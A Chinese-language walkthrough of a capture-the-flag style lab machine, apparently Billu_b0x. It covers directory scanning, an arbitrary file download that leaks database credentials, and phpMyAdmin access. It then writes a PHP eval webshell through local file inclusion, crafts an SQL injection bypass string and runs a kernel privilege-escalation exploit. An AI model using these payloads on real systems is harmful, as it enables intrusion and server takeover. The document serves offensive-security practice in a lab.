0x00 前言
路漫漫其修远兮,吾将上下而求索
0x01 环境搭建
- 靶机IP 192.168.1.16
- 攻击机win 192.168.1.11
- 攻击机kali 192.168.1.156
- 攻击机Ubuntu 192.168.1.166
0x02 Play
1.信息收集
1 | PORT STATE SERVICE VERSION |
只开了80和22端口,只能从80下手,主页白胡子老大镇图
日常扫目录
dirb "http://192.168.64.161" /usr/share/dirb/wordlists/big.txt
扫到了index.php、test.php、show.php、add.php、panel.php、c..php、head.php、head2.php、in.php 以及phpmy、uploaded_images、images目录。
打开这几个页面,都没啥重要内容,直到打开了http://192.168.1.16/test.php
于是get传了个参数无果,post参数成功,发现可以下载任意文件
于是下载了所有文件和passwd文件进行审计。
1 | $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); |
收获数据库账号密码一枚, 本地文件包含漏洞一枚, 存在一个ica的用户,其余的上传和Sql查询过滤了都,无法进行bypass。
2.Getshell
恰逢刚刚扫出的几个目录,有个phpmy
打开后发现是个phpmyadmin程序,于是利用刚刚的账号密码登录,success!!! 然后去数据库找后台登录的账号密码
这里是明文存储的 账号:biLLu
密码:hEx_it
主页是 香克斯镇图
此处上传并没有利用的办法,最开始想通过phpmyadmin拿shell,于是利用test.php不断猜测网络绝对路径。
但是因为不是root权限,所以无法更改日志文件位置,又想通过INTOFILE 导出一句话,但是没有创建表的权限….
所以回到之前那个LFI的点,上传一个图片马,然后包含连菜刀
在本目录下写个一句话,用菜刀连接 http://192.168.1.16/uploaded_images/test.php
1 | load=uploaded_images/cmd.jpg&continue=&cmd=file_put_contents('/var/www/uploaded_images/test.php','<?php @eval($_POST["test"]);?>'); |
3.提权
执行命令 查看权限 内核版本
Google 查询linux kernel 3.13.0-32-generic exploit
,在 https://www.exploit-db.com/exploits/37292
找到了一个溢出提权exp
利用菜刀 把大马和37292.c文件上传至目标机中,然后利用大马进行反弹出shell
1 | chmod 777 37292.c |
4.其他思路
还有一种进后台的方式就是利用SQL注入。部分关键 SQL查询语句如下:
1 | $uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); |
把uname和pass中的单引号全部转换为空,所以单引号闭合很难,但是可以通过转义第二个单引号,使得第一个和第三个单引号进行闭合,此时uname
就能借助#
注释第四个单引号,最后就是
1 | select * from auth where pass='\\\' and uname='or 1=1;#'; |
mysql 在插入数据库的时候,会自动去除转义字符也就是反斜杠,在入库的时候第一个反斜杠被认为是转义字符,第二个反斜杠被认为是常规内容,所以去除了第一个反斜杠,保留了第二个,第三个反斜杠被认为转义字符,后面的单引号就保留了
1 | mysql> select ' \\\' '; |
还有一个更为简单的办法,扫phpmy目录可以得到config.inc.php
文件,里头有ssh登录账密,直接root登录就好了
0x03 总结
- 扫端口,并没有扫出有用的端口,只有22和80
- 扫目录,扫出来了个重要的入口点就是test.php,然后利用文件下载可以下载任何文件,下载了几个重要文件
- 拿到了数据库的账号密码然后登进去了phpmyadmin,并且又拿到了后台登录密码,开始尝试拿shell但是没有权限,所以无奈的去审计代码发现了个文件包含漏洞
- 在文件上传处上传一个图片马,然后包含它成功getshell,然后写一个一句话用菜刀去连接,完了上传大马后反弹shell
- 查看发行版本和内核版本,然后去Google了一个溢出提权的exp,上传至目标机然后编译运行成功提权。